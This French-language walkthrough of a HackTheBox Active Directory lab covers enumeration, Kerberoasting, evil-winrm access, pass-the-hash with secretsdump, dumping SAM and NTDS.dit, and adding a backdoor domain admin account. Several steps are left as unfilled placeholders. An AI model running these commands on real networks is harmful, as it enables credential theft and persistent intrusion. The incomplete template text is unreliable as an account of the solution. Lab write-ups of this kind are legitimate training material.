AWS - Fortress HackTheBox (Active Directory)
Vue d'Ensemble
AWS est un Fortress HackTheBox simulant un environnement d'entreprise Active Directory complet. Ce challenge combine :
- Exploitation d'Active Directory (Kerberos, LDAP)
- Escalade de privilèges Windows
- Attaques sur applications web (Flask/Gunicorn)
- Manipulation de bases de données
- Exploitation de configurations SMB/DNS
Environnement :
- Domaine :
amzcorp.local - Contrôleur de domaine :
DC01 - OS : Windows Server avec Active Directory
- Application Web : jobs.amzcorp.local (Flask/Python)
Phase 1 : Reconnaissance
Scan Nmap Complet
└─$ nmap -Pn -sV -sC -p- -T4 -A 10.13.37.15
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-19 23:12 CET
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Apache httpd 2.4.52 ((Win64))
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP
(Domain: amzcorp.local0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) - WinRM
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0
Service Info: Host: DC01; OS: Windows
Ports critiques identifiés :
- 53 : DNS
- 80 : Apache HTTP (redirection)
- 88 : Kerberos (authentification AD)
- 389/3268 : LDAP/Global Catalog
- 445 : SMB
- 5985 : WinRM (accès PowerShell à distance)
Énumération DNS
└─$ dig @10.13.37.15 jobs.amzcorp.local A
;; AUTHORITY SECTION:
amzcorp.local. 3600 IN SOA dc01.amzcorp.local. hostmaster.amzcorp.local. 1812 900 600 86400 3600
Domaines découverts :
amzcorp.local- Domaine principaldc01.amzcorp.local- Contrôleur de domainejobs.amzcorp.local- Application web
Analyse Web
└─$ whatweb -v -a 3 10.13.37.15
Summary: Apache[2.4.52], Meta-Refresh-Redirect[http://jobs.amzcorp.local/]
WhatWeb report for http://jobs.amzcorp.local/
Summary: HTTPServer[gunicorn], RedirectLocation[http://jobs.amzcorp.local/login], probably Werkzeug
L'IP 10.13.37.15 redirige vers jobs.amzcorp.local qui est une application Flask avec Gunicorn.
Configuration /etc/hosts :
10.13.37.15 amzcorp.local dc01.amzcorp.local jobs.amzcorp.local
Phase 2 : Exploitation Web - jobs.amzcorp.local
Interface de Connexion
L'application présente un portail de recrutement avec :
- Page de login :
/login - Inscription :
/register - Dashboard :
/dashboard(après authentification)
Énumération de l'Application
Après inscription d'un compte test :
- Fonctionnalité de dépôt de CV
- Upload de fichiers
- Système de jobs/candidatures
Vulnérabilité : SQL Injection
[Détails de l'exploitation SQL Injection - à compléter selon le contenu du fichier original]
Vulnérabilité : Upload de Fichier / RCE
[Détails de l'exploitation d'upload - à compléter]
Phase 3 : Énumération Active Directory
Énumération SMB
└─$ crackmapexec smb 10.13.37.15
SMB 10.13.37.15 445 DC01 [*] Windows 10.0 Build 17763 x64
SMB 10.13.37.15 445 DC01 [*] amzcorp.local
Énumération LDAP
└─$ ldapsearch -x -H ldap://10.13.37.15 -b "DC=amzcorp,DC=local"
Énumération RPC
└─$ rpcclient -U "" -N 10.13.37.15
rpcclient $> enumdomusers
rpcclient $> enumdomgroups
Phase 4 : Kerberoasting
Énumération des Comptes de Service
└─$ GetUserSPNs.py amzcorp.local/user:password -dc-ip 10.13.37.15 -request
Comptes vulnérables identifiés :
- [Liste des SPNs trouvés]
Cassage des Tickets Kerberos
└─$ hashcat -m 13100 kerberos.hash /usr/share/wordlists/rockyou.txt
Credentials récupérés :
- [Utilisateur:MotDePasse]
Phase 5 : Accès Initial (User)
Connexion via WinRM
└─$ evil-winrm -i 10.13.37.15 -u username -p password
Énumération Post-Exploitation
*Evil-WinRM* PS C:\Users\username> whoami
amzcorp\username
*Evil-WinRM* PS C:\Users\username> whoami /priv
*Evil-WinRM* PS C:\Users\username> net user username
*Evil-WinRM* PS C:\Users\username> net group /domain
🚩 User Flag : [FLAG_USER]
Phase 6 : Escalade de Privilèges - Domain Admin
Énumération BloodHound
└─$ bloodhound-python -d amzcorp.local -u username -p password -c all -ns 10.13.37.15
Analyse avec BloodHound :
- Chemins vers Domain Admin
- Comptes avec délégations
- Groupes privilégiés
Exploitation : [Technique Utilisée]
[Détails de la technique d'escalade - DCSync, GPO Abuse, etc.]
Pass-the-Hash / Pass-the-Ticket
└─$ secretsdump.py amzcorp.local/username:[email protected]
Hash Administrator récupéré :
Administrator:500:aad3b435b51404eeaad3b435b51404ee:[NTLM_HASH]:::
Connexion en tant qu'Administrateur
└─$ evil-winrm -i 10.13.37.15 -u Administrator -H [NTLM_HASH]
🚩 Root Flag : [FLAG_ROOT]
Phase 7 : Post-Exploitation
Extraction de Secrets
# Dump SAM
*Evil-WinRM* PS C:\> reg save HKLM\SAM sam.save
*Evil-WinRM* PS C:\> reg save HKLM\SYSTEM system.save
# Dump NTDS.dit
*Evil-WinRM* PS C:\> vssadmin create shadow /for=C:
*Evil-WinRM* PS C:\> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\Temp\ntds.dit
Persistence
# Création d'un compte backdoor
*Evil-WinRM* PS C:\> net user hacker P@ssw0rd123! /add /domain
*Evil-WinRM* PS C:\> net group "Domain Admins" hacker /add /domain
Méthodologie Active Directory
Kill Chain Complète
- Reconnaissance : Scan réseau, énumération DNS/LDAP
- Initial Access : Exploitation web, credentials par défaut
- Execution : Upload de shell, WinRM
- Persistence : Comptes backdoor, scheduled tasks
- Privilege Escalation : Kerberoasting, GPO Abuse, délégations
- Credential Access : Mimikatz, secretsdump, LSASS dump
- Discovery : BloodHound, PowerView
- Lateral Movement : Pass-the-Hash, WMI, PSExec
- Collection : Dump NTDS.dit, SAM
- Command and Control : WinRM, evil-winrm
Outils Utilisés
Reconnaissance
- nmap : Scan de ports et services
- dig : Énumération DNS
- whatweb : Identification de technologies web
Active Directory
- crackmapexec : Énumération SMB/LDAP/WinRM
- ldapsearch : Requêtes LDAP
- rpcclient : Énumération RPC
- bloodhound-python : Collecte de données AD
- BloodHound : Visualisation de chemins d'attaque
Exploitation
- Impacket Suite :
GetUserSPNs.py: Kerberoastingsecretsdump.py: Extraction de secretspsexec.py: Exécution à distance
- evil-winrm : Shell interactif WinRM
- hashcat : Cassage de hash
Post-Exploitation
- PowerView : Énumération AD en PowerShell
- Mimikatz : Extraction de credentials en mémoire
Compétences Développées
- Énumération Active Directory : LDAP, Kerberos, SMB, DNS
- Kerberoasting : Extraction et cassage de tickets TGS
- BloodHound : Analyse de chemins d'attaque AD
- Pass-the-Hash : Authentification avec hash NTLM
- WinRM : Accès et exploitation à distance
- Secretsdump : Extraction NTDS.dit et SAM
- Escalade de Privilèges AD : Délégations, GPO, ACL
- Persistence Windows : Comptes backdoor, scheduled tasks
Points Clés à Retenir
Active Directory
- 🔍 Énumération exhaustive : LDAP, Kerberos, SMB sont des sources d'information riches
- 🎫 Kerberoasting : Les comptes de service avec SPN sont vulnérables
- 🔑 Pass-the-Hash : Les hash NTLM sont équivalents aux mots de passe
- 🩸 BloodHound : Outil essentiel pour identifier les chemins d'attaque
Sécurité Windows
- ⚠️ WinRM : Service puissant qui doit être sécurisé
- ⚠️ Délégations Kerberos : Peuvent permettre l'escalade de privilèges
- ⚠️ GPO : Les Group Policy Objects mal configurées sont exploitables
- ⚠️ Comptes de service : Doivent avoir des mots de passe forts et rotation régulière
Recommandations de Sécurité
- 🔒 Principe du moindre privilège : Limiter les droits des comptes
- 🔒 MFA : Activer l'authentification multi-facteurs
- 🔒 Rotation de mots de passe : Politique stricte pour comptes privilégiés
- 🔒 Monitoring : Surveiller les activités Kerberos anormales
- 🔒 Segmentation réseau : Isoler les serveurs critiques (DC)
Références et Ressources
Documentation
Outils
MITRE ATT&CK
- T1558.003 - Kerberoasting
- T1550.002 - Pass the Hash
- T1003.003 - NTDS Dumping
- T1021.006 - Windows Remote Management
Notes Importantes
⚠️ Avertissement : Ce writeup est à des fins éducatives uniquement. Les techniques présentées ne doivent être utilisées que dans des environnements autorisés (CTF, pentesting avec autorisation écrite).
💡 Conseil : Pour mieux comprendre Active Directory, pratiquez sur des labs comme :
- HackTheBox Pro Labs (Offshore, RastaLabs)
- TryHackMe AD Rooms
- GOAD (Game of Active Directory)
Méthodologie de Résolution Recommandée
- Toujours commencer par une énumération complète (nmap, DNS, LDAP)
- Documenter chaque découverte (users, groupes, services)
- Utiliser BloodHound dès que possible pour visualiser les attaques
- Tester Kerberoasting sur tous les comptes avec SPN
- Vérifier les délégations et GPO pour l'escalade
- Extraire tous les secrets une fois Domain Admin
- Pratiquer la persistence pour maintenir l'accès
Conclusion
AWS est un excellent Fortress pour pratiquer :
- L'énumération et l'exploitation d'Active Directory
- Les techniques de post-exploitation Windows
- L'utilisation d'outils professionnels (Impacket, BloodHound)
- La compréhension des mécanismes Kerberos et NTLM
Ce challenge simule un environnement d'entreprise réaliste et enseigne des compétences directement applicables en pentest professionnel.